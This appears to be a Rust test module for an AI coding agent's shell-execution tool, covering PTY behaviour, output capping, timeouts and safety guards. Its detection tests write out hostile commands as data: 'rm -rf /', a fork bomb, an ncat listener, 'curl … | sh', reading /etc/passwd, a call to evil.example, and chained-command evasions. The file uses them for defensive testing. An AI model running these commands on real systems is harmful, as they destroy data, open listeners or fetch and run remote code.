1201 assert_eq!(
1202 outcome.status,
1203 mermaid_domain::ToolStatus::Error,
1204 "{mode:?}: open_url must be refused, not opened: {outcome:?}",
1205 );
1206 assert!(
1207 outcome.model_content.contains("open_url"),
1208 "{mode:?}: the refusal must name the action it refused: {:?}",
1209 outcome.model_content,
1210 );
1211 }
1212
1213 #[tokio::test]
1214 async fn safe_command_runs_and_captures_output() {
1215 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1216 let outcome = ExecuteCommandTool
1219 .execute(serde_json::json!({"command": "echo 'hello world'"}), ctx)
1220 .await;
1221 assert!(outcome.is_success(), "expected success: {outcome:?}");
1222 assert!(outcome.output().contains("hello world"));
1223 }
1224
1225 #[cfg(target_os = "linux")]
1230 #[tokio::test]
1231 async fn foreground_child_runs_in_new_session() {
1232 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1233 let outcome = ExecuteCommandTool
1234 .execute(
1235 serde_json::json!({
1236 "command": r#"test "$(awk '{print $6}' /proc/$$/stat)" = "$$" && echo NEW_SESSION_OK || echo "NOT_A_SESSION_LEADER sid=$(awk '{print $6}' /proc/$$/stat) pid=$$""#,
1237 }),
1238 ctx,
1239 )
1240 .await;
1241 assert!(outcome.is_success(), "expected success: {outcome:?}");
1242 assert!(
1243 outcome.output().contains("NEW_SESSION_OK"),
1244 "child shell is not a session leader: {}",
1245 outcome.output()
1246 );
1247 }
1248
1249 #[cfg(unix)]
1254 #[tokio::test]
1255 async fn pty_child_dev_tty_is_the_captured_pty() {
1256 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1257 let outcome = ExecuteCommandTool
1258 .execute(
1259 serde_json::json!({
1260 "command": "if echo CAPTURED_BY_PTY > /dev/tty 2>/dev/null; then echo TTY_OPEN_OK; else echo TTY_OPEN_DENIED; fi",
1261 }),
1262 ctx,
1263 )
1264 .await;
1265 assert!(outcome.is_success(), "expected success: {outcome:?}");
1266 assert!(
1267 outcome.output().contains("TTY_OPEN_OK"),
1268 "PTY child should see a controlling terminal: {}",
1269 outcome.output()
1270 );
1271 assert!(
1272 outcome.output().contains("CAPTURED_BY_PTY"),
1273 "/dev/tty writes must land in the CAPTURE, not the user's terminal: {}",
1274 outcome.output()
1275 );
1276 }
1277
1278 #[cfg(unix)]
1284 #[tokio::test]
1285 async fn foreground_child_cannot_open_dev_tty() {
1286 if std::fs::File::open("/dev/tty").is_err() {
1287 eprintln!("skipped: no controlling terminal in test environment");
1288 return;
1289 }
1290 let (ctx, _rx) = pipes_ctx();
1291 let outcome = ExecuteCommandTool
1292 .execute(
1293 serde_json::json!({
1294 "command": "if echo x > /dev/tty 2>/dev/null; then echo TTY_OPEN_OK; else echo TTY_OPEN_DENIED; fi",
1295 }),
1296 ctx,
1297 )
1298 .await;
1299 assert!(
1300 outcome.output().contains("TTY_OPEN_DENIED"),
1301 "session-detached child could still open /dev/tty: {}",
1302 outcome.output()
1303 );
1304 }
1305
1306 pub(crate) fn pipes_ctx() -> (
1308 crate::providers::ctx::ExecContext,
1309 tokio::sync::mpsc::Receiver<mermaid_domain::ProgressEvent>,
1310 ) {
1311 let mut config = mermaid_domain::Config::default();
1312 config.safety.mode = mermaid_runtime::SafetyMode::FullAccess;
1313 config.exec.pty = Some(false);
1314 crate::providers::ctx::test_exec_context_with_config(
1315 TurnId(1),
1316 ToolCallId(1),
1317 std::env::temp_dir(),
1318 config,
1319 )
1320 }
1321
1322 #[cfg(unix)]
1323 #[tokio::test]
1324 async fn pty_child_sees_a_terminal_and_pipes_child_does_not() {
1325 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1327 let outcome = ExecuteCommandTool
1328 .execute(
1329 serde_json::json!({"command": "if [ -t 1 ]; then echo IS_TTY; fi; tty"}),
1330 ctx,
1331 )
1332 .await;
1333 assert!(outcome.is_success(), "{outcome:?}");
1334 assert!(outcome.output().contains("IS_TTY"), "{}", outcome.output());
1335 assert!(
1336 outcome.output().contains("/dev/pts/") || outcome.output().contains("/dev/tty"),
1337 "tty should name the pts: {}",
1338 outcome.output()
1339 );
1340 let (ctx, _rx) = pipes_ctx();
1342 let outcome = ExecuteCommandTool
1343 .execute(
1344 serde_json::json!({"command": "if [ -t 1 ]; then echo IS_TTY; else echo NOT_TTY; fi"}),
1345 ctx,
1346 )
1347 .await;
1348 assert!(outcome.output().contains("NOT_TTY"), "{}", outcome.output());
1349 }
1350
1351 #[cfg(unix)]
1352 #[tokio::test]
1353 async fn pty_output_is_ansi_clean_and_crlf_normalized() {
1354 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1355 let outcome = ExecuteCommandTool
1358 .execute(
1359 serde_json::json!({
1360 "command": r"printf '\033[31mRED\033[0m\nline2\n'",
1361 }),
1362 ctx,
1363 )
1364 .await;
1365 assert!(outcome.is_success(), "{outcome:?}");
1366 let out = outcome.output();
1367 assert!(out.contains("RED\nline2"), "clean joined lines: {out:?}");
1368 assert!(!out.contains('\u{1b}'), "no escape bytes: {out:?}");
1369 assert!(!out.contains('\r'), "no carriage returns: {out:?}");
1370 }
1371
1372 #[cfg(windows)]
1376 #[tokio::test]
1377 async fn pty_child_sees_a_console_and_pipes_child_does_not() {
1378 let probe = "powershell -NoProfile -Command [Console]::IsOutputRedirected";
1379 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1381 let outcome = ExecuteCommandTool
1382 .execute(serde_json::json!({ "command": probe }), ctx)
1383 .await;
1384 assert!(outcome.is_success(), "{outcome:?}");
1385 assert!(
1386 outcome.output().contains("False"),
1387 "ConPTY child must see a console: {}",
1388 outcome.output()
1389 );
1390 let (ctx, _rx) = pipes_ctx();
1392 let outcome = ExecuteCommandTool
1393 .execute(serde_json::json!({ "command": probe }), ctx)
1394 .await;
1395 assert!(outcome.is_success(), "{outcome:?}");
1396 assert!(
1397 outcome.output().contains("True"),
1398 "pipe child must see redirected stdout: {}",
1399 outcome.output()
1400 );
1401 }
1402
1403 #[cfg(windows)]
1408 #[tokio::test]
1409 async fn pty_output_is_ansi_clean_and_crlf_normalized_windows() {
1410 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1411 let outcome = ExecuteCommandTool
1412 .execute(
1413 serde_json::json!({ "command": "echo RED; echo line2" }),
1414 ctx,
1415 )
1416 .await;
1417 assert!(outcome.is_success(), "{outcome:?}");
1418 let out = outcome.output();
1419 assert!(!out.contains('\u{1b}'), "no escape bytes: {out:?}");
1420 assert!(!out.contains('\r'), "no carriage returns: {out:?}");
1421 let lines: Vec<&str> = out.lines().map(str::trim).collect();
1422 assert!(lines.contains(&"RED"), "RED line present: {out:?}");
1423 assert!(lines.contains(&"line2"), "line2 line present: {out:?}");
1424 }
1425
1426 #[test]
1427 pub(crate) fn strip_ansi_drops_escapes_and_normalizes_line_endings() {
1428 assert_eq!(strip_ansi("\u{1b}[31mRED\u{1b}[0m"), "RED");
1431 assert_eq!(strip_ansi("\u{1b}[2K\u{1b}[1Gline"), "line");
1432 assert_eq!(strip_ansi("\u{1b}]0;title\u{7}body"), "body");
1433 assert_eq!(strip_ansi("\u{1b}]8;;url\u{1b}\\link"), "link");
1434 assert_eq!(strip_ansi("\u{1b}=keypad"), "keypad");
1435 assert_eq!(strip_ansi("a\r\nb"), "a\nb");
1436 assert_eq!(strip_ansi("50%\r100%\r\n"), "50%\n100%\n");
1437 assert_eq!(strip_ansi("\u{1b}P1$r0m\u{1b}\\text"), "text");
1440 assert_eq!(strip_ansi("\u{1b}_payload\u{1b}\\ok"), "ok");
1441 assert_eq!(strip_ansi("\u{1b}Xsos\u{1b}\\a\u{1b}^pm\u{1b}\\b"), "ab");
1442 assert_eq!(strip_ansi("ab\u{8}c"), "ac");
1444 assert_eq!(strip_ansi("x\u{7}y"), "xy");
1445 assert_eq!(strip_ansi("a\n\u{8}b"), "a\nb");
1447 assert_eq!(strip_ansi("\u{8}b"), "b");
1448 assert_eq!(strip_ansi("plain text"), "plain text");
1450 assert_eq!(strip_ansi("x\u{1b}"), "x");
1452 assert_eq!(strip_ansi("x\u{1b}[31"), "x");
1453 assert_eq!(strip_ansi("x\u{1b}Pdangling"), "x");
1455 }
1456
1457 #[test]
1458 pub(crate) fn capped_capture_keeps_head_and_tail() {
1459 let mut c = CappedCapture::new(64);
1461 c.push(b"hello ");
1462 c.push(b"world");
1463 let (out, truncated) = c.finish();
1464 assert_eq!(out, "hello world");
1465 assert!(!truncated);
1466 let mut c = CappedCapture::new(20);
1468 c.push(b"AAAAAAAAAA");
1469 c.push(&[b'x'; 100]);
1470 c.push(b"BBBBBBBBBB");
1471 let (out, truncated) = c.finish();
1472 assert!(truncated);
1473 assert!(out.starts_with("AAAAAAAAAA"), "head kept: {out:?}");
1474 assert!(out.ends_with("BBBBBBBBBB"), "tail kept: {out:?}");
1475 assert!(out.contains("truncated"), "marker present: {out:?}");
1476 }
1477
1478 #[test]
1479 pub(crate) fn secret_env_names_reports_planted_secret() {
1480 temp_env::with_var("MERMAID_TEST_PLANTED_API_KEY", Some("v"), || {
1482 let names = secret_env_names();
1483 assert!(
1484 names.iter().any(|n| n == "MERMAID_TEST_PLANTED_API_KEY"),
1485 "planted secret name must be scrubbed: {names:?}"
1486 );
1487 assert!(!names.iter().any(|n| n == "PATH"));
1488 });
1489 }
1490
1491 #[test]
1492 pub(crate) fn harden_env_sets_git_terminal_prompt() {
1493 let mut cmd = Command::new("sh");
1494 harden_noninteractive_env(&mut cmd);
1495 let set = cmd
1496 .as_std()
1497 .get_envs()
1498 .any(|(k, v)| k == "GIT_TERMINAL_PROMPT" && v.is_some_and(|v| v == "0"));
1499 assert!(set, "GIT_TERMINAL_PROMPT=0 must be injected");
1500 }
1501
1502 #[tokio::test]
1503 async fn dangerous_command_blocked() {
1504 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1505 let outcome = ExecuteCommandTool
1506 .execute(serde_json::json!({"command": "rm -rf /"}), ctx)
1507 .await;
1508 let error = outcome.error_message().expect("expected error");
1509 assert!(error.contains("Dangerous"));
1510 }
1511
1512 #[tokio::test]
1513 async fn cancellation_aborts_long_running_command() {
1514 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1515 let token = ctx.token.clone();
1516 let handle = tokio::spawn(async move {
1523 ExecuteCommandTool
1524 .execute(serde_json::json!({"command": "sleep 30"}), ctx)
1525 .await
1526 });
1527 tokio::time::sleep(Duration::from_millis(30)).await;
1529 token.cancel();
1530 let start = Instant::now();
1531 let outcome = tokio::time::timeout(Duration::from_secs(15), handle)
1532 .await
1533 .expect("didn't hang")
1534 .expect("join");
1535 let elapsed = start.elapsed();
1536 assert!(outcome.was_cancelled());
1537 assert!(
1541 elapsed < Duration::from_secs(10),
1542 "cancellation took {elapsed:?} — far slower than expected (regression?)"
1543 );
1544 }
1545
1546 #[tokio::test]
1547 async fn timeout_honored() {
1548 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1549 let outcome = ExecuteCommandTool
1550 .execute(serde_json::json!({"command": "sleep 5", "timeout": 1}), ctx)
1551 .await;
1552 assert_eq!(outcome.status, mermaid_domain::ToolStatus::Error);
1553 let output = outcome.as_tool_message_content();
1554 assert!(output.contains("timed out"));
1555 assert!(output.contains("was killed"));
1556 assert!(output.contains("mode=\"background\""));
1557 }
1558
1559 #[cfg(not(target_os = "windows"))]
1564 #[tokio::test]
1565 async fn timeout_kills_process_tree() {
1566 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1567 let marker =
1569 std::env::temp_dir().join(format!("mermaid_timeout_pgid_{}.pid", std::process::id()));
1570 let _ = std::fs::remove_file(&marker);
1571 let command = format!(
1572 "sh -c 'echo $$ > {}; sleep 30' & sleep 30",
1573 marker.display()
1574 );
1575 let outcome = ExecuteCommandTool
1576 .execute(serde_json::json!({ "command": command, "timeout": 1 }), ctx)
1577 .await;
1578 assert_eq!(outcome.status, mermaid_domain::ToolStatus::Error);
1579
1580 let mut pid = None;
1583 for _ in 0..30 {
1584 if let Ok(s) = std::fs::read_to_string(&marker)
1585 && let Ok(p) = s.trim().parse::<u32>()
1586 {
1587 pid = Some(p);
1588 break;
1589 }
1590 tokio::time::sleep(Duration::from_millis(50)).await;
1591 }
1592 let pid = pid.expect("grandchild never recorded its pid");
1593
1594 let mut alive = true;
1596 for _ in 0..40 {
1597 if !process_running(pid).await {
1598 alive = false;
1599 break;
1600 }
1601 tokio::time::sleep(Duration::from_millis(50)).await;
1602 }
1603 let _ = std::fs::remove_file(&marker);
1604 assert!(!alive, "grandchild pid {pid} leaked past the timeout");
1605 }
1606
1607 #[cfg(not(target_os = "windows"))]
1608 #[tokio::test]
1609 async fn background_mode_returns_pid_log_and_detected_url() {
1610 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1611 let outcome = ExecuteCommandTool
1612 .execute(
1613 serde_json::json!({
1614 "command": "printf 'ready http://127.0.0.1:54321\\n'; exec sleep 30",
1615 "mode": "background",
1616 "startup_timeout_secs": 2,
1617 "ready_pattern": "ready"
1618 }),
1619 ctx,
1620 )
1621 .await;
1622
1623 assert!(
1624 outcome.is_success(),
1625 "expected background success: {:?}",
1626 outcome
1627 );
1628 let output = outcome.output().to_string();
1629 assert!(output.contains("Background command started"));
1630 assert!(output.contains("PID:"));
1631 assert!(output.contains("Log:"));
1632 assert!(output.contains("Ready: matched pattern"));
1633 assert!(output.contains("Detected URL: http://127.0.0.1:54321"));
1634
1635 if let Some(pid) = parse_pid(&output) {
1636 let _ = Command::new("kill").arg(pid.to_string()).status().await;
1637 }
1638 }
1639
1640 #[cfg(target_os = "windows")]
1641 #[tokio::test]
1642 async fn background_mode_returns_pid_and_log_on_windows() {
1643 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1644 let outcome = ExecuteCommandTool
1645 .execute(
1646 serde_json::json!({
1655 "command": "cmd /c echo ready; ping -n 60 127.0.0.1",
1656 "mode": "background",
1657 "startup_timeout_secs": 15,
1658 "ready_pattern": "ready"
1659 }),
1660 ctx,
1661 )
1662 .await;
1663
1664 assert!(
1665 outcome.is_success(),
1666 "expected background success on Windows: {outcome:?}"
1667 );
1668 let output = outcome.output().to_string();
1669 assert!(output.contains("Background command started"));
1670 assert!(output.contains("PID:"));
1671 assert!(output.contains("Ready: matched pattern"));
1672 assert!(
1674 outcome.metadata.process.is_some(),
1675 "background outcome must carry a ManagedProcess"
1676 );
1677
1678 if let Some(pid) = parse_pid(&output) {
1680 mermaid_model::utils::terminate_tree(pid, mermaid_model::utils::Grace::Graceful).await;
1681 }
1682 }
1683
1684 #[tokio::test]
1685 async fn ctrl_b_backgrounds_a_running_foreground_command() {
1686 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1687 let background = ctx.background.clone();
1688 let command = if cfg!(target_os = "windows") {
1690 "ping -n 30 127.0.0.1"
1691 } else {
1692 "sleep 30"
1693 };
1694
1695 let canceller = tokio::spawn(async move {
1697 tokio::time::sleep(Duration::from_millis(300)).await;
1698 background.cancel();
1699 });
1700 let outcome = ExecuteCommandTool
1701 .execute(
1702 serde_json::json!({ "command": command, "timeout": 60 }),
1703 ctx,
1704 )
1705 .await;
1706 let _ = canceller.await;
1707
1708 assert!(
1709 outcome.is_success(),
1710 "backgrounding should yield success: {outcome:?}"
1711 );
1712 let output = outcome.output().to_string();
1713 assert!(output.contains("Moved to background"), "got: {output}");
1714 let process = outcome.metadata.process.clone();
1716 assert!(
1717 process.is_some(),
1718 "background outcome must carry a ManagedProcess"
1719 );
1720
1721 if let Some(p) = process {
1723 mermaid_model::utils::terminate_tree(p.pid, mermaid_model::utils::Grace::Graceful)
1724 .await;
1725 }
1726 }
1727
1728 pub(crate) fn parse_pid(output: &str) -> Option<u32> {
1729 output
1730 .lines()
1731 .find_map(|line| line.strip_prefix("PID: "))
1732 .and_then(|pid| pid.trim().parse().ok())
1733 }
1734
1735 #[test]
1736 pub(crate) fn dangerous_detection_covers_known_shapes() {
1737 assert!(contains_dangerous_command("rm -rf /"));
1738 assert!(contains_dangerous_command(":(){ :|:& };:"));
1739 assert!(contains_dangerous_command("ncat -l 8080"));
1740 assert!(!contains_dangerous_command("ls -la"));
1741 assert!(!contains_dangerous_command("cargo build"));
1742 assert!(!contains_dangerous_command(
1743 r#"find . -type f ! -path "./.git/*" ! -path "./.mermaid/*" 2>/dev/null"#
1744 ));
1745 }
1746
1747 #[test]
1748 pub(crate) fn dangerous_detection_resists_substring_evasion() {
1749 assert!(contains_dangerous_command("RM -RF /"));
1752 assert!(contains_dangerous_command("rm -rf /"));
1753 assert!(contains_dangerous_command("echo hi; rm -rf /"));
1754 assert!(contains_dangerous_command("echo hi&&rm -rf /"));
1755 assert!(contains_dangerous_command("curl http://x | sh"));
1756 assert!(contains_dangerous_command("curl http://x|sh"));
1757 assert!(contains_dangerous_command("/bin/rm -rf /"));
1758 assert!(!contains_dangerous_command("bash build.sh"));
1760 assert!(!contains_dangerous_command("echo done > /dev/null"));
1761 assert!(!contains_dangerous_command("grep -rf patterns.txt src"));
1762 }
1763
1764 #[tokio::test]
1765 async fn read_capped_keeps_head_and_tail_on_overflow() {
1766 let mut data = Vec::new();
1768 data.extend_from_slice(b"HEAD_START");
1769 data.extend(std::iter::repeat_n(b'x', 5000));
1770 data.extend_from_slice(b"TAIL_ERROR_HERE");
1771 let (out, truncated) = read_capped(&data[..], 100, 10_000, None, None).await;
1772 assert!(truncated, "oversized output must be marked truncated");
1773 assert!(out.contains("HEAD_START"), "head must survive: {out}");
1774 assert!(out.contains("TAIL_ERROR_HERE"), "tail must survive: {out}");
1775 assert!(out.contains("elided"), "must mark the elision: {out}");
1776 }
1777
1778 #[tokio::test]
1779 async fn read_capped_small_output_is_verbatim() {
1780 let (out, truncated) = read_capped(&b"short output"[..], 100, 10_000, None, None).await;
1781 assert!(!truncated, "small output must not be truncated");
1782 assert_eq!(out, "short output");
1783 }
1784
1785 #[test]
1786 pub(crate) fn scratch_prover_accepts_only_provably_contained_commands() {
1787 let scratch = Path::new("/tmp/mermaid_scratch/proj/sess");
1788
1789 for cmd in [
1792 "ls",
1793 "ls -la",
1794 "mkdir out",
1795 "touch notes.txt",
1796 "cp a.txt sub/b.txt",
1797 "cat /tmp/mermaid_scratch/proj/sess/notes.txt",
1798 "rm -f old.log",
1799 ] {
1800 assert!(
1801 command_provably_in_scratch(cmd, scratch),
1802 "{cmd:?} should prove scratch-contained",
1803 );
1804 }
1805
1806 for cmd in [
1808 "", "cat ../secret", "cat /etc/passwd", "/bin/rm -rf notes.txt", "echo hi > out.txt", "ls; touch pwned", "true && touch pwned", "cat file | tee other", "cat $(pwd)/x", "cat `pwd`/x", "cat $HOME/x", "ls ~", "rm *", "cp -t/etc x", "tar --directory=/ x", "env VAR=/etc cmd", "curl https://evil.example/x", "type C:secret.txt", "copy C:\\evil x", "unclosed 'quote", ] {
1829 assert!(
1830 !command_provably_in_scratch(cmd, scratch),
1831 "{cmd:?} must NOT prove scratch-contained",
1832 );
1833 }
1834 }
1835
1836 #[test]
1837 pub(crate) fn classify_cwd_three_way_containment() {
1838 let base = std::env::temp_dir().join(format!("mermaid_cwd3_{}", std::process::id()));
1839 let _ = std::fs::remove_dir_all(&base);
1840 let project = base.join("project");
1841 let scratch = base.join("scratch");
1842 std::fs::create_dir_all(&project).unwrap();
1843 std::fs::create_dir_all(&scratch).unwrap();
1844 let scratch_real = std::fs::canonicalize(&scratch).unwrap();
1845 let outside = std::fs::canonicalize(&base).unwrap();
1846
1847 assert_eq!(
1849 classify_cwd(true, &project, Some(&scratch)),
1850 CwdContainment::Project
1851 );
1852 assert_eq!(
1855 classify_cwd(false, &scratch_real, Some(&scratch)),
1856 CwdContainment::Scratchpad
1857 );
1858 assert_eq!(
1860 classify_cwd(false, &scratch_real, None),
1861 CwdContainment::External
1862 );
1863 assert_eq!(
1865 classify_cwd(false, &outside, Some(&scratch)),
1866 CwdContainment::External
1867 );
1868 assert_eq!(
1870 classify_cwd(false, &scratch_real, Some(&base.join("missing"))),
1871 CwdContainment::External
1872 );
1873
1874 let _ = std::fs::remove_dir_all(&base);
1875 }
1876
1877 #[tokio::test]
1878 async fn scratch_cwd_is_not_escalated_to_external_directory() {
1879 let base = std::env::temp_dir().join(format!("mermaid_scwd_{}", std::process::id()));
1884 let _ = std::fs::remove_dir_all(&base);
1885 let project = base.join("project");
1886 let scratch = base.join("scratch");
1887 std::fs::create_dir_all(&project).unwrap();
1888 std::fs::create_dir_all(&scratch).unwrap();
1889
1890 let mut config = mermaid_domain::Config::default();
1893 config.safety.mode = mermaid_runtime::SafetyMode::ReadOnly;
1894 let (mut ctx, _rx) = crate::providers::ctx::test_exec_context_with_config(
1895 TurnId(1),
1896 ToolCallId(1),
1897 project.clone(),
1898 config,
1899 );
1900 ctx.scratchpad = Some(scratch.clone());
1901 let outcome = ExecuteCommandTool
1902 .execute(
1903 serde_json::json!({
1904 "command": "echo hi",
1905 "working_dir": scratch.display().to_string(),
1906 }),
1907 ctx,
1908 )
1909 .await;
1910 assert!(
1911 outcome.is_success(),
1912 "scratch cwd must not be escalated to ExternalDirectory: {outcome:?}",
1913 );
1914
1915 let _ = std::fs::remove_dir_all(&base);
1916 }
1917
1918 #[tokio::test]
1919 async fn child_env_carries_scratchpad_export() {
1920 let dir = std::env::temp_dir().join(format!("mermaid_env_{}", std::process::id()));
1923 std::fs::create_dir_all(&dir).unwrap();
1924 #[cfg(unix)]
1925 let probe = r#"printf %s "${MERMAID_SCRATCHPAD:-UNSET}""#;
1926 #[cfg(windows)]
1927 let probe = "if ($env:MERMAID_SCRATCHPAD) { Write-Output $env:MERMAID_SCRATCHPAD } else { Write-Output UNSET }";
1928
1929 let run = |scratchpad: Option<PathBuf>| {
1930 let dir = dir.clone();
1931 async move {
1932 let mut cmd = build_sandboxed_shell(probe, &SandboxPlan::NONE);
1933 cmd.current_dir(&dir)
1934 .stdin(Stdio::null())
1935 .stdout(Stdio::piped())
1936 .stderr(Stdio::null())
1937 .env_remove(SCRATCHPAD_ENV_VAR);
1940 export_scratchpad_env(&mut cmd, scratchpad.as_deref());
1941 let out = cmd.output().await.expect("probe spawns");
1942 String::from_utf8_lossy(&out.stdout).trim().to_string()
1943 }
1944 };
1945
1946 let exported = run(Some(dir.clone())).await;
1947 assert_eq!(
1948 exported,
1949 dir.display().to_string(),
1950 "child must see the scratchpad path",
1951 );
1952 let absent = run(None).await;
1953 assert_eq!(absent, "UNSET", "no scratchpad -> no exported variable");
1954
1955 let _ = std::fs::remove_dir_all(&dir);
1956 }
1957}